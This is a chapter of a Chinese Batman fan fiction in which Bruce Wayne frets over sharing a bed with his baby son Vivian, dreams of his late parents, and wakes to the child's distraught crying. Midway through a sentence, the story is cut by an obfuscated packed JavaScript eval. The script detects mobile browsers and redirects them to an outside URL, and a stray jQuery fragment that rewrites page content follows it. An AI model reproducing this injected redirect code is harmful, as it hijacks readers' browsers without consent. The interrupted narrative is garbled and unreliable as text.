布鲁斯也挺委屈的。


    他不是要拒绝维维安对他的亲近，相反，他高兴的要命好吗？


    只是——


    万一他在睡梦中，无意识的情况下，不小心压在了维维安的身上怎么办？


    布鲁斯没有办法不思考这个可怕的问题。


    他可是个两百多磅的成年男性，他甚至能仅靠体重就压制两个瘦弱的成年吸毒男性。


    单就他的一只胳膊就有可能导致维维安窒息，如果他在睡梦中不小心将手臂压在了维维安脸上的话。


    只要想到这种可能，布鲁斯就很难安稳地入睡。


    与布鲁斯的辗转反侧不同，维维安可就兴奋多了。


    他抱着自己的蓝色小海豚玩偶，小嘴巴叭啊叭啊的也不知道在说什么，反正一张粉白的小脸蛋乐得眯起了眼睛，薄薄夏被里的小脚兴奋地蹬了蹬。


    “叭！”像蚕宝宝一样艰难地向布鲁斯发起进攻，就要离爸爸越近越好，贴贴爸爸.jpg


    布鲁斯哪里舍得拒绝这样一个宝宝，他心都快软化了，轻轻一戳，嚯，淌出一地甜滋滋的奶味的糖水。


    “好吧，Vivi、甜心……”布鲁斯无奈又甜蜜地凑近，亲了亲他的蓝眼睛宝宝带着奶香味的粉白小脸蛋，“我怎么会有这么可爱又暖心的小宝贝呢？这真是一个奇迹。”


    维维安高高兴兴地扑在甜蜜老父亲的怀抱里，“呀！”


    小小心愿被满足后，维维安的困意再也阻挡不了，白嫩小手紧紧抓住自己的蓝色小海豚朋友，靠在最喜欢的爸爸身上，小脑袋一歪就睡得跟雷打不醒的小猪崽一样。


    还别说，维维安现在被布鲁斯和阿尔弗雷德养的白白胖胖的，真挺像一只小猪崽的。


    布鲁斯轻笑了一声，轻轻揉了揉维维安软哒哒的金发，动作轻缓地将这颗金毛小脑袋放在维维安的专属小枕头上。


    光是这么安静无声地看着自家宝宝水蜜桃似的甜甜的睡颜，布鲁斯就感觉自己看到天亮都不够，但他想起今晚的夜巡还没完成，第一次带着点抱怨的情绪换上蝙蝠制服，希望今晚那群家伙最好安分一点。


    ……


    还好，蝙蝠侠今天收工较早，大概凌晨两点就回来了。


    他匆匆忙忙洗完一个战斗澡，和往常差不多的流程，在蝙蝠电脑上整理好有价值的情报和线索，然后就迫不及待地回到卧室。


    自从维维安到来后，在他夜巡的这段时间里，阿尔弗雷德最重要的工作就从辅助他变为了照顾孩子。


    不过和几个月前相比，越长越大的小维维安逐渐有了自己的睡眠规律。


    他一定是大多数家长心中的天使宝宝，因为他的作息完全和大人同步，因此兢兢业业的老管家不止一次吐槽过，可惜某只热爱昼伏夜出的蝙蝠的作息倒是和他们家的宝宝完全不一致。


    布鲁斯不敢反驳，谁让他就是那只热爱昼伏夜出的蝙蝠呢。


    每次结束夜巡回到卧室之前，他都要先把自己身上的血污清理干净，确定身上不再带有血气或是别的什么奇怪的气味后才会回到自己的房间。


    进入房间时也是时刻保持着蝙蝠侠悄无声息的状态，他可不想半夜吵醒维维安。


    虽然就他们家这只小猪崽的睡眠质量来说恐怕很难被吵醒，但已经做爸爸的人总归想的比以前要更细致体贴了。


    “阿福，辛苦了。”布鲁斯用气音说，今晚回到房间后，他照旧和老管家打了招呼。


    阿尔弗雷德轻轻扯了扯被维维安的小脚踢开的薄被，起身离开时表情略带揶揄地对布鲁斯说晚安，他猜测今晚他家老爷可能会纠结到睁眼到天亮，为了减少这个可能性，他同时略带警告地说：


    “就算是蝙蝠也要遵循生物规律，老爷，是吧。”


    布鲁斯：“……”


    他看着床上那只睡得香香的一无所知的罪魁祸首小猪崽一句话也说不出来。


    “别忘了，你白天约了莱斯利医生见面。”阿尔弗雷德还提醒道。


    布鲁斯闷闷地回答：“阿福，我知道了。”


    他的视线就没从床上的维维安身上移开过。


    这么一张超大号的床上却躺着一只超小号的宝宝，维维安整只崽都好像陷入了软绵绵的床铺里，布鲁斯的脑中再次浮出之前那个可怕的思考。


    ——太可怕了！


    他必须要避免这种可能发生。


    布鲁斯望着老管家离去的背影下定决心。


    在偷偷摸摸又小心翼翼地耗费了将近十分钟后，布鲁斯谨慎地松了口气，擦了擦额头微微冒出的汗。


    然后身心都放松地躺在床上，看了一眼依旧熟睡的小维维安，安稳地进入梦乡。


    或许是因为这几个月来布鲁斯都在摸索如何养崽，因而这些天来他总是梦到八岁以前，托马斯和玛莎尚未去世时的生活。


    美好、纯粹、无忧无虑……以至于他身在梦中却清晰地知道自己是在做梦。


    布鲁斯在梦中一会儿是韦恩家的小少爷，在父母双双慈爱的注视下，欢快地探索着偌大的韦恩庄园。


    从森林到湖泊，从鲜花盛开的庭院到阴暗幽深的地下溶洞，这一次他没有意外失足掉入蝙蝠洞，反而是在父母的支持和鼓励下，毫无顾忌地将这当做一次别出心裁的冒险活动。


    ……过了一会儿，画面一转，布鲁斯又恢复到了原本的年龄，可他的面前依旧坐着托马斯和玛莎，他们面带


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438311|141287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微笑地看着他。


    托马斯对他讲起如何当一个好父亲的心得体会，玛莎则教育他一些养孩子的小技巧，语气中偶尔会带着点对布鲁斯意外搞出孩子来的责备，但更多的是欣慰与喜悦。


    布鲁斯听的认真，好似这一切都是真实发生的，而非他在梦中的一场虚无缥缈的臆想。


    他沉浸在这美好得不真实的梦境里，直到一声熟悉且刺耳的啼哭声划破宁静的韦恩庄园清晨，也彻底将他从梦境中叫醒。


    哭声震天，是从未有过的一幕。


    布鲁斯惊得立刻翻滚起身跳下床，动作精准地将宝宝床里的维维安抱入怀中。


    “怎么了，Vivi？”


    布鲁斯快速地检查维维安的身体状况，确认没有出现发热高烧等问题。


    然而维维安的哭声不停，且他的哭泣头一次让布鲁斯听出一股撕心裂肺的伤心的感觉。


    维维安很少哭，饿了尿了都是干打雷不下雨，大多数时候真的哭起来也是因为生了病感觉到身体难受，唯有通过哭泣才能表达。


    像这样毫无缘由地哭得天崩地裂一样是第一次。


    维维安扯着嗓子哭，哭声尖锐又刺耳，一张粉白的小脸蛋让他哭得通红，大滴大滴的眼泪从红肿的眼眶里落下。


    布鲁斯语无伦次地哄着，却怎么哄都不起作用。


    他还要手忙脚乱地给维维安冲泡奶粉，因为不确定维维安的哭泣和饥饿百分之百的没有关系。


    他一只手抱崽，一只手摆弄奶瓶，一迭声的哄声都不敢停歇。


    布鲁斯最怕的不是维维安像大多数宝宝一样哭闹，他最怕的是这有可能诱发小儿哮喘。


    就在他慌得脑子都开始打结时，阿尔弗雷德及时来救场了。


    维维安看见另一个熟悉的亲人，竟然破天荒地主动伸出藕节似的白嫩手臂，他要到阿福爷爷的怀里去。


    阿尔弗雷德：“好孩子，来吧。”


    布鲁斯眼睁睁地看着维维安蹬了蹬小脚就扑到了阿福怀里去，哭红的小脸蛋埋进老管家熨帖的一丝不苟的西装上，尖锐的哭声也慢慢低沉下去，直至转为委屈巴巴的抽噎。


    布鲁斯：……


    这、这是怎么了，昨晚他还是Vivi最爱的爸爸呢，怎么一觉醒来就变了？


    阿尔弗雷德轻轻抚摸着维维安因为抽噎时一颤一颤的脊背，舒缓着维维安不安悲伤的情绪。


    他的视线快速地扫过这间熟悉的卧室，到目光凝聚在那张凌乱的宝宝床上时，脸色骤然沉下来：


    “老爷，你不该糊弄维维安小少爷，他已经八个多月大了，不再是两三个月什么都不懂的小宝宝了。”


    布鲁斯猛地一震。